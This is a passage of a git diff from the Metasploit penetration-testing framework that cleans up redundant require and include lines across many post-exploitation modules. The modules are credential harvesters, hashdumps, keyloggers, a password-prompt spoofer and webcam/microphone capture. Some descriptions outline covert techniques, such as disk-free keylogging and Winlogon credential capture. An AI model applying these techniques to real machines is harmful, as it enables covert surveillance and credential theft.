Msf::Post::File include Msf::Post::Unix diff --git a/modules/post/multi/gather/filezilla_client_cred.rb b/modules/post/multi/gather/filezilla_client_cred.rb index cb33cc93da..c023e171be 100644 --- a/modules/post/multi/gather/filezilla_client_cred.rb +++ b/modules/post/multi/gather/filezilla_client_cred.rb @@ -8,8 +8,6 @@ require 'msf/core' require 'rex' require 'rexml/document' -require 'msf/core/post/file' -require 'msf/core/post/windows/user_profiles' class Metasploit3 < Msf::Post diff --git a/modules/post/multi/gather/find_vmx.rb b/modules/post/multi/gather/find_vmx.rb index 2f753aac7f..c579cfc20b 100644 --- a/modules/post/multi/gather/find_vmx.rb +++ b/modules/post/multi/gather/find_vmx.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/file' require 'yaml' class Metasploit3 < Msf::Post diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index fd8b08e5df..e35e1d9818 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -9,15 +9,11 @@ require 'msf/core' require 'rex' require 'zip/zip' require 'tmpdir' -require 'msf/core/post/file' -require 'msf/core/post/common' require 'msf/core/auxiliary/report' -require 'msf/core/post/windows/user_profiles' class Metasploit3 < Msf::Post include Msf::Post::File - include Msf::Post::Common include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles diff --git a/modules/post/multi/gather/gpg_creds.rb b/modules/post/multi/gather/gpg_creds.rb index 8b06ddfab4..c73b22c019 100644 --- a/modules/post/multi/gather/gpg_creds.rb +++ b/modules/post/multi/gather/gpg_creds.rb @@ -7,14 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/unix' class Metasploit3 < Msf::Post include Msf::Post::File - include Msf::Post::Common include Msf::Post::Unix def initialize(info={}) diff --git a/modules/post/multi/gather/multi_command.rb b/modules/post/multi/gather/multi_command.rb index f387d58a86..fb3002ce3d 100644 --- a/modules/post/multi/gather/multi_command.rb +++ b/modules/post/multi/gather/multi_command.rb @@ -7,12 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' class Metasploit3 < Msf::Post - include Msf::Post::Common - def initialize(info={}) super( update_info( info, 'Name' => 'Multi Gather Run Shell Command Resource File', diff --git a/modules/post/multi/gather/netrc_creds.rb b/modules/post/multi/gather/netrc_creds.rb index cc7ec98c6b..5ed07d780a 100644 --- a/modules/post/multi/gather/netrc_creds.rb +++ b/modules/post/multi/gather/netrc_creds.rb @@ -6,13 +6,9 @@ ## require 'msf/core' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/unix' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Unix diff --git a/modules/post/multi/gather/pgpass_creds.rb b/modules/post/multi/gather/pgpass_creds.rb index 9a278fe601..ff003d0de2 100644 --- a/modules/post/multi/gather/pgpass_creds.rb +++ b/modules/post/multi/gather/pgpass_creds.rb @@ -6,15 +6,10 @@ ## require 'msf/core' -require 'msf/core/post/file' -require 'msf/core/post/common' -require 'msf/core/post/unix' -require 'msf/core/post/windows/user_profiles' class Metasploit3 < Msf::Post include Msf::Post::File - include Msf::Post::Common include Msf::Post::Unix include Msf::Post::Windows::UserProfiles diff --git a/modules/post/multi/gather/pidgin_cred.rb b/modules/post/multi/gather/pidgin_cred.rb index 348ff96a4b..8f699373bc 100644 --- a/modules/post/multi/gather/pidgin_cred.rb +++ b/modules/post/multi/gather/pidgin_cred.rb @@ -8,8 +8,6 @@ require 'msf/core' require 'rex' require 'rexml/document' -require 'msf/core/post/file' -require 'msf/core/post/windows/user_profiles' class Metasploit3 < Msf::Post diff --git a/modules/post/multi/gather/ping_sweep.rb b/modules/post/multi/gather/ping_sweep.rb index 8681560df3..dd27d461cd 100644 --- a/modules/post/multi/gather/ping_sweep.rb +++ b/modules/post/multi/gather/ping_sweep.rb @@ -7,14 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' - class Metasploit3 < Msf::Post - include Msf::Post::Common - - def initialize(info={}) super( update_info( info, 'Name' => 'Multi Gather Ping Sweep', diff --git a/modules/post/multi/gather/skype_enum.rb b/modules/post/multi/gather/skype_enum.rb index bd8ccc983d..3124e97bc3 100644 --- a/modules/post/multi/gather/skype_enum.rb +++ b/modules/post/multi/gather/skype_enum.rb @@ -9,17 +9,12 @@ require 'msf/core' require 'rex' require 'csv' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/windows/user_profiles' -require 'msf/core/post/osx/system' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::UserProfiles diff --git a/modules/post/multi/gather/ssh_creds.rb b/modules/post/multi/gather/ssh_creds.rb index b7a7b59bc7..90f4f8c118 100644 --- a/modules/post/multi/gather/ssh_creds.rb +++ b/modules/post/multi/gather/ssh_creds.rb @@ -7,15 +7,11 @@ require 'msf/core' require 'rex' -require 'msf/core/post/file' -require 'msf/core/post/common' -require 'msf/core/post/unix' require 'sshkey' class Metasploit3 < Msf::Post include Msf::Post::File - include Msf::Post::Common include Msf::Post::Unix def initialize(info={}) diff --git a/modules/post/multi/gather/thunderbird_creds.rb b/modules/post/multi/gather/thunderbird_creds.rb index fc94d641c4..90c838212f 100644 --- a/modules/post/multi/gather/thunderbird_creds.rb +++ b/modules/post/multi/gather/thunderbird_creds.rb @@ -6,14 +6,10 @@ ## require 'msf/core' -require 'msf/core/post/file' -require 'msf/core/post/common' -require 'msf/core/post/windows/user_profiles' class Metasploit3 < Msf::Post include Msf::Post::File - include Msf::Post::Common include Msf::Post::Windows::UserProfiles def initialize(info={}) diff --git a/modules/post/multi/general/execute.rb b/modules/post/multi/general/execute.rb index 0b2f55248b..cd6967e67b 100644 --- a/modules/post/multi/general/execute.rb +++ b/modules/post/multi/general/execute.rb @@ -7,12 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' class Metasploit3 < Msf::Post - include Msf::Post::Common - def initialize(info={}) super( update_info( info, 'Name' => 'Multi Generic Operating System Session Command Execution', diff --git a/modules/post/multi/manage/multi_post.rb b/modules/post/multi/manage/multi_post.rb index 22528d7e9b..2bee1fa6d8 100644 --- a/modules/post/multi/manage/multi_post.rb +++ b/modules/post/multi/manage/multi_post.rb @@ -8,12 +8,8 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' - class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File def initialize(info={}) diff --git a/modules/post/multi/manage/sudo.rb b/modules/post/multi/manage/sudo.rb index 22001212a3..e886ff12b3 100644 --- a/modules/post/multi/manage/sudo.rb +++ b/modules/post/multi/manage/sudo.rb @@ -7,15 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/unix' -require 'msf/core/post/linux/priv' -require 'msf/core/post/linux/system' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System diff --git a/modules/post/multi/manage/system_session.rb b/modules/post/multi/manage/system_session.rb index 9e218437de..852f09fb81 100644 --- a/modules/post/multi/manage/system_session.rb +++ b/modules/post/multi/manage/system_session.rb @@ -7,12 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' class Metasploit3 < Msf::Post - include Msf::Post::Common - def initialize(info={}) super( update_info( info, 'Name' => 'Multi Manage System Remote TCP Shell Session', diff --git a/modules/post/osx/admin/say.rb b/modules/post/osx/admin/say.rb index 84a940b45f..03aa1c6f26 100644 --- a/modules/post/osx/admin/say.rb +++ b/modules/post/osx/admin/say.rb @@ -6,12 +6,9 @@ ## require 'msf/core' -require 'msf/core/post/common' class Metasploit3 < Msf::Post - include Msf::Post::Common - def initialize(info={}) super( update_info( info, 'Name' => "OS X Text to Speech Utility", @@ -69,4 +66,4 @@ class Metasploit3 < Msf::Post end end -end \ No newline at end of file +end diff --git a/modules/post/osx/capture/keylog_recorder.rb b/modules/post/osx/capture/keylog_recorder.rb index 623569263b..73dc634c2a 100644 --- a/modules/post/osx/capture/keylog_recorder.rb +++ b/modules/post/osx/capture/keylog_recorder.rb @@ -8,7 +8,6 @@ require 'shellwords' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Auxiliary::Report @@ -29,12 +28,12 @@ class Metasploit3 < Msf::Post super(update_info(info, 'Name' => 'OSX Capture Userspace Keylogger', 'Description' => %q{ - This module logs all keyboard events except cmd-keys and GUI password input. + Logs all keyboard events except cmd-keys and GUI password input. Keylogs are transferred between client/server in chunks every SYNCWAIT seconds for reliability. - It works by calling the Carbon GetKeys() hook using the DL lib + Works by calling the Carbon GetKeys() hook using the DL lib in OSX's system Ruby. The Ruby code is executed in a shell command using -e, so the payload never hits the disk. }, diff --git a/modules/post/osx/gather/enum_adium.rb b/modules/post/osx/gather/enum_adium.rb index 1d6c805556..7f4e452132 100644 --- a/modules/post/osx/gather/enum_adium.rb +++ b/modules/post/osx/gather/enum_adium.rb @@ -7,13 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Auxiliary::Report diff --git a/modules/post/osx/gather/enum_airport.rb b/modules/post/osx/gather/enum_airport.rb index 08002ec5ec..6b319443cc 100644 --- a/modules/post/osx/gather/enum_airport.rb +++ b/modules/post/osx/gather/enum_airport.rb @@ -6,12 +6,9 @@ ## require 'msf/core' -require 'msf/core/post/common' class Metasploit3 < Msf::Post - include Msf::Post::Common - def initialize(info={}) super(update_info(info, 'Name' => 'OS X Gather Airport Wireless Preferences', diff --git a/modules/post/osx/gather/enum_chicken_vnc_profile.rb b/modules/post/osx/gather/enum_chicken_vnc_profile.rb index 5b0c949f79..f44cd0e983 100644 --- a/modules/post/osx/gather/enum_chicken_vnc_profile.rb +++ b/modules/post/osx/gather/enum_chicken_vnc_profile.rb @@ -7,12 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File def initialize(info={}) diff --git a/modules/post/osx/gather/enum_colloquy.rb b/modules/post/osx/gather/enum_colloquy.rb index 402b7fb834..0eebc59659 100644 --- a/modules/post/osx/gather/enum_colloquy.rb +++ b/modules/post/osx/gather/enum_colloquy.rb @@ -7,12 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File def initialize(info={}) diff --git a/modules/post/osx/gather/enum_keychain.rb b/modules/post/osx/gather/enum_keychain.rb index 4721a8fad2..6da8ef0096 100644 --- a/modules/post/osx/gather/enum_keychain.rb +++ b/modules/post/osx/gather/enum_keychain.rb @@ -6,12 +6,9 @@ ## require 'msf/core' -require 'msf/core/post/common' class Metasploit3 < Msf::Post - include Msf::Post::Common - def initialize(info={}) super(update_info(info, 'Name' => 'OS X Gather Keychain Enumeration', diff --git a/modules/post/osx/gather/enum_osx.rb b/modules/post/osx/gather/enum_osx.rb index bdaebbfe06..55912ccba5 100644 --- a/modules/post/osx/gather/enum_osx.rb +++ b/modules/post/osx/gather/enum_osx.rb @@ -7,14 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' require 'msf/core/auxiliary/report' - class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Auxiliary::Report diff --git a/modules/post/osx/gather/hashdump.rb b/modules/post/osx/gather/hashdump.rb index f37e2e2679..b0d55cdc46 100644 --- a/modules/post/osx/gather/hashdump.rb +++ b/modules/post/osx/gather/hashdump.rb @@ -7,14 +7,11 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Auxiliary::Report diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb index 86d5847fe4..86bf9db69a 100644 --- a/modules/post/osx/gather/password_prompt_spoof.rb +++ b/modules/post/osx/gather/password_prompt_spoof.rb @@ -7,11 +7,8 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Auxiliary::Report diff --git a/modules/post/osx/manage/record_mic.rb b/modules/post/osx/manage/record_mic.rb index 0c0e54e9b2..861252e076 100644 --- a/modules/post/osx/manage/record_mic.rb +++ b/modules/post/osx/manage/record_mic.rb @@ -7,10 +7,8 @@ require 'msf/core' require 'shellwords' -require 'msf/core/post/osx/ruby_dl' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Auxiliary::Report include Msf::Post::OSX::RubyDL diff --git a/modules/post/osx/manage/webcam.rb b/modules/post/osx/manage/webcam.rb index b5cd7e229d..09cf065e0f 100644 --- a/modules/post/osx/manage/webcam.rb +++ b/modules/post/osx/manage/webcam.rb @@ -7,10 +7,8 @@ require 'msf/core' require 'shellwords' -require 'msf/core/post/osx/ruby_dl' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Auxiliary::Report include Msf::Post::OSX::RubyDL @@ -42,7 +40,7 @@ class Metasploit3 < Msf::Post OptInt.new('CAMERA_INDEX', [true, 'The index of the webcam to use. `set ACTION LIST` to get a list.', 0]), OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]), OptString.new('JPG_QUALITY', [false, 'The compression factor for snapshotting a jpg (from 0 to 1)', "0.8"]), - OptString.new('TMP_FILE', + OptString.new('TMP_FILE', [true, 'The tmp file to use on the remote machine', '/tmp/./'] ), OptBool.new('AUDIO_ENABLED', [false, 'Enable audio when recording', true]), @@ -108,7 +106,7 @@ class Metasploit3 < Msf::Post tmp_file = File.join(File.dirname(tmp_file), base+num+'.'+ext) # store contents in file title = "OSX Webcam Recording "+i.to_s - f = store_loot(title, "video/mov", session, contents, + f = store_loot(title, "video/mov", session, contents, "osx_webcam_rec#{i}.mov", title) print_good "Record file captured and saved to #{f}" print_status "Rolling movie file. " diff --git a/modules/post/solaris/gather/checkvm.rb b/modules/post/solaris/gather/checkvm.rb index f39f244bfd..b84fddefad 100644 --- a/modules/post/solaris/gather/checkvm.rb +++ b/modules/post/solaris/gather/checkvm.rb @@ -7,13 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/solaris/priv' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Solaris::Priv diff --git a/modules/post/solaris/gather/enum_packages.rb b/modules/post/solaris/gather/enum_packages.rb index 6991a12c78..05bf2fc91f 100644 --- a/modules/post/solaris/gather/enum_packages.rb +++ b/modules/post/solaris/gather/enum_packages.rb @@ -7,13 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/solaris/system' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Solaris::System diff --git a/modules/post/solaris/gather/enum_services.rb b/modules/post/solaris/gather/enum_services.rb index 5e0a83dabd..1befb8c965 100644 --- a/modules/post/solaris/gather/enum_services.rb +++ b/modules/post/solaris/gather/enum_services.rb @@ -7,14 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/solaris/system' - class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Solaris::System diff --git a/modules/post/solaris/gather/hashdump.rb b/modules/post/solaris/gather/hashdump.rb index ad2b947abe..0c3a6f8690 100644 --- a/modules/post/solaris/gather/hashdump.rb +++ b/modules/post/solaris/gather/hashdump.rb @@ -7,14 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/solaris/priv' - class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Solaris::Priv diff --git a/modules/post/windows/capture/keylog_recorder.rb b/modules/post/windows/capture/keylog_recorder.rb index 1ab0513a6e..cfca51ea26 100644 --- a/modules/post/windows/capture/keylog_recorder.rb +++ b/modules/post/windows/capture/keylog_recorder.rb @@ -7,15 +7,11 @@ require 'msf/core' require 'rex' -require 'msf/core/post/file' -require 'msf/core/post/windows/priv' -require 'msf/core/post/common' class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::File - include Msf::Post::Common def initialize(info={}) super( update_info( info, diff --git a/modules/post/windows/capture/lockout_keylogger.rb b/modules/post/windows/capture/lockout_keylogger.rb index d1d2c175f1..ab37775a4d 100644 --- a/modules/post/windows/capture/lockout_keylogger.rb +++ b/modules/post/windows/capture/lockout_keylogger.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/file' class Metasploit3 < Msf::Post @@ -18,7 +17,7 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Capture Winlogon Lockout Credential Keylogger', 'Description' => %q{ This module migrates and logs Microsoft Windows user's passwords via - Winlogon.exe. Using idle time and natural system changes to give a + Winlogon.exe using idle time and natural system changes to give a false sense of security to the user.}, 'License' => MSF_LICENSE, 'Author' => [ 'mubix', 'cg' ], diff --git a/modules/post/windows/escalate/getsystem.rb b/modules/post/windows/escalate/getsystem.rb index f5bb50462a..d23cb350a1 100644 --- a/modules/post/windows/escalate/getsystem.rb +++ b/modules/post/windows/escalate/getsystem.rb @@ -8,7 +8,6 @@ require 'msf/core' require 'rex' require 'metasm' -require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/escalate/net_runtime_modify.rb b/modules/post/windows/escalate/net_runtime_modify.rb index 438dda6831..ac0450e88b 100644 --- a/modules/post/windows/escalate/net_runtime_modify.rb +++ b/modules/post/windows/escalate/net_runtime_modify.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'msf/core/post/windows/services' require 'rex' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/arp_scanner.rb b/modules/post/windows/gather/arp_scanner.rb index d6efad45b4..b451043032 100644 --- a/modules/post/windows/gather/arp_scanner.rb +++ b/modules/post/windows/gather/arp_scanner.rb @@ -7,13 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' require 'msf/core/auxiliary/report' - class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Auxiliary::Report OUI_LIST = Rex::Oui diff --git a/modules/post/windows/gather/bitcoin_jacker.rb b/modules/post/windows/gather/bitcoin_jacker.rb index d9b89630df..e52611ff9f 100644 --- a/modules/post/windows/gather/bitcoin_jacker.rb +++ b/modules/post/windows/gather/bitcoin_jacker.rb @@ -7,9 +7,7 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/user_profiles' require 'msf/core/auxiliary/report' -require 'msf/core/post/file' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index 1e592d92c8..795d69978e 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -9,7 +9,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/checkvm.rb b/modules/post/windows/gather/checkvm.rb index a60e87feb3..b1cec95688 100644 --- a/modules/post/windows/gather/checkvm.rb +++ b/modules/post/windows/gather/checkvm.rb @@ -7,14 +7,11 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' -require 'msf/core/post/common' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry - include Msf::Post::Common include Msf::Auxiliary::Report def initialize(info={}) diff --git a/modules/post/windows/gather/credentials/bulletproof_ftp.rb b/modules/post/windows/gather/credentials/bulletproof_ftp.rb index 7db44f51c3..c0ee99ce20 100644 --- a/modules/post/windows/gather/credentials/bulletproof_ftp.rb +++ b/modules/post/windows/gather/credentials/bulletproof_ftp.rb @@ -7,9 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/file' -require 'msf/core/post/windows/user_profiles' -require 'msf/core/post/windows/registry' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/coreftp.rb b/modules/post/windows/gather/credentials/coreftp.rb index 7ead3c9c5d..be7705f0b8 100644 --- a/modules/post/windows/gather/credentials/coreftp.rb +++ b/modules/post/windows/gather/credentials/coreftp.rb @@ -7,8 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/user_profiles' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/credential_collector.rb b/modules/post/windows/gather/credentials/credential_collector.rb index 9fa76a6490..17ee11fa84 100644 --- a/modules/post/windows/gather/credentials/credential_collector.rb +++ b/modules/post/windows/gather/credentials/credential_collector.rb @@ -7,13 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' require 'msf/core/auxiliary/report' - class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Auxiliary::Report def initialize(info={}) diff --git a/modules/post/windows/gather/credentials/enum_picasa_pwds.rb b/modules/post/windows/gather/credentials/enum_picasa_pwds.rb index efff02a572..c1b071774c 100644 --- a/modules/post/windows/gather/credentials/enum_picasa_pwds.rb +++ b/modules/post/windows/gather/credentials/enum_picasa_pwds.rb @@ -7,8 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/priv' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/epo_sql.rb b/modules/post/windows/gather/credentials/epo_sql.rb index 5bb2b213cd..024406b363 100644 --- a/modules/post/windows/gather/credentials/epo_sql.rb +++ b/modules/post/windows/gather/credentials/epo_sql.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' require "net/dns/resolver" require 'msf/core/auxiliary/report' diff --git a/modules/post/windows/gather/credentials/filezilla_server.rb b/modules/post/windows/gather/credentials/filezilla_server.rb index 393fad6914..59c7bb5fcb 100644 --- a/modules/post/windows/gather/credentials/filezilla_server.rb +++ b/modules/post/windows/gather/credentials/filezilla_server.rb @@ -8,7 +8,6 @@ require 'msf/core' require 'rex' require 'rexml/document' -require 'msf/core/post/file' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/flashfxp.rb b/modules/post/windows/gather/credentials/flashfxp.rb index e4cb86da0c..4cca41a735 100644 --- a/modules/post/windows/gather/credentials/flashfxp.rb +++ b/modules/post/windows/gather/credentials/flashfxp.rb @@ -8,8 +8,6 @@ require 'msf/core' require 'rex' require 'rex/parser/ini' -require 'msf/core/post/windows/user_profiles' -require 'msf/core/post/windows/registry' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/ftpnavigator.rb b/modules/post/windows/gather/credentials/ftpnavigator.rb index 89f83ce4a1..1d64ab802a 100644 --- a/modules/post/windows/gather/credentials/ftpnavigator.rb +++ b/modules/post/windows/gather/credentials/ftpnavigator.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/ftpx.rb b/modules/post/windows/gather/credentials/ftpx.rb index ec36c8cb6b..1dba7aa9b1 100644 --- a/modules/post/windows/gather/credentials/ftpx.rb +++ b/modules/post/windows/gather/credentials/ftpx.rb @@ -9,7 +9,6 @@ require 'msf/core' require 'rex' require 'rexml/document' -require 'msf/core/post/windows/user_profiles' class Metasploit3 < Msf::Post include Msf::Post::Windows::UserProfiles diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index d17233eac7..51fb81493a 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -8,8 +8,6 @@ require 'msf/core' require 'rex' require 'rexml/document' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/priv' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/idm.rb b/modules/post/windows/gather/credentials/idm.rb index 83db343e32..bd3efd2f81 100644 --- a/modules/post/windows/gather/credentials/idm.rb +++ b/modules/post/windows/gather/credentials/idm.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'msf/core/post/windows/registry' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/imail.rb b/modules/post/windows/gather/credentials/imail.rb index 5204af5e39..648469ac34 100644 --- a/modules/post/windows/gather/credentials/imail.rb +++ b/modules/post/windows/gather/credentials/imail.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'msf/core/post/windows/registry' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/imvu.rb b/modules/post/windows/gather/credentials/imvu.rb index d7424874c6..c8f860b610 100644 --- a/modules/post/windows/gather/credentials/imvu.rb +++ b/modules/post/windows/gather/credentials/imvu.rb @@ -10,8 +10,6 @@ require 'msf/core' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/user_profiles' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/meebo.rb b/modules/post/windows/gather/credentials/meebo.rb index 6aeda96558..fc1360dcab 100644 --- a/modules/post/windows/gather/credentials/meebo.rb +++ b/modules/post/windows/gather/credentials/meebo.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'msf/core/post/windows/user_profiles' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/mremote.rb b/modules/post/windows/gather/credentials/mremote.rb index ab44345ebe..9fd88fceaa 100644 --- a/modules/post/windows/gather/credentials/mremote.rb +++ b/modules/post/windows/gather/credentials/mremote.rb @@ -10,7 +10,6 @@ require 'msf/core' require 'rex' require 'rexml/document' -require 'msf/core/post/windows/user_profiles' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/nimbuzz.rb b/modules/post/windows/gather/credentials/nimbuzz.rb index faee8e6058..e438770747 100644 --- a/modules/post/windows/gather/credentials/nimbuzz.rb +++ b/modules/post/windows/gather/credentials/nimbuzz.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'msf/core/post/windows/registry' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/outlook.rb b/modules/post/windows/gather/credentials/outlook.rb index fac66ce3fa..05b1b5bc93 100644 --- a/modules/post/windows/gather/credentials/outlook.rb +++ b/modules/post/windows/gather/credentials/outlook.rb @@ -9,8 +9,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/priv' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/razer_synapse.rb b/modules/post/windows/gather/credentials/razer_synapse.rb index 1a31220e89..5e36b97d16 100644 --- a/modules/post/windows/gather/credentials/razer_synapse.rb +++ b/modules/post/windows/gather/credentials/razer_synapse.rb @@ -7,13 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/windows/user_profiles' require 'openssl' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::Windows::UserProfiles include Msf::Post::File @@ -118,4 +115,4 @@ class Metasploit3 < Msf::Post end end end -end \ No newline at end of file +end diff --git a/modules/post/windows/gather/credentials/razorsql.rb b/modules/post/windows/gather/credentials/razorsql.rb index c22383ab4a..6f6df2a4ef 100644 --- a/modules/post/windows/gather/credentials/razorsql.rb +++ b/modules/post/windows/gather/credentials/razorsql.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/user_profiles' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/smartftp.rb b/modules/post/windows/gather/credentials/smartftp.rb index 99bfe7305f..9d3b480c0e 100644 --- a/modules/post/windows/gather/credentials/smartftp.rb +++ b/modules/post/windows/gather/credentials/smartftp.rb @@ -10,7 +10,6 @@ require 'msf/core' require 'rex' require 'rexml/document' -require 'msf/core/post/windows/user_profiles' class Metasploit3 < Msf::Post include Msf::Post::Windows::UserProfiles diff --git a/modules/post/windows/gather/credentials/spark_im.rb b/modules/post/windows/gather/credentials/spark_im.rb index 4d31f52713..6cb92c7b78 100644 --- a/modules/post/windows/gather/credentials/spark_im.rb +++ b/modules/post/windows/gather/credentials/spark_im.rb @@ -7,13 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/windows/user_profiles' require 'openssl' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::Windows::UserProfiles def initialize(info={}) diff --git a/modules/post/windows/gather/credentials/steam.rb b/modules/post/windows/gather/credentials/steam.rb index 6d4f7d6bb1..39ac0a753b 100644 --- a/modules/post/windows/gather/credentials/steam.rb +++ b/modules/post/windows/gather/credentials/steam.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'msf/core/post/file' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/tortoisesvn.rb b/modules/post/windows/gather/credentials/tortoisesvn.rb index a933888e41..93fbfbd109 100644 --- 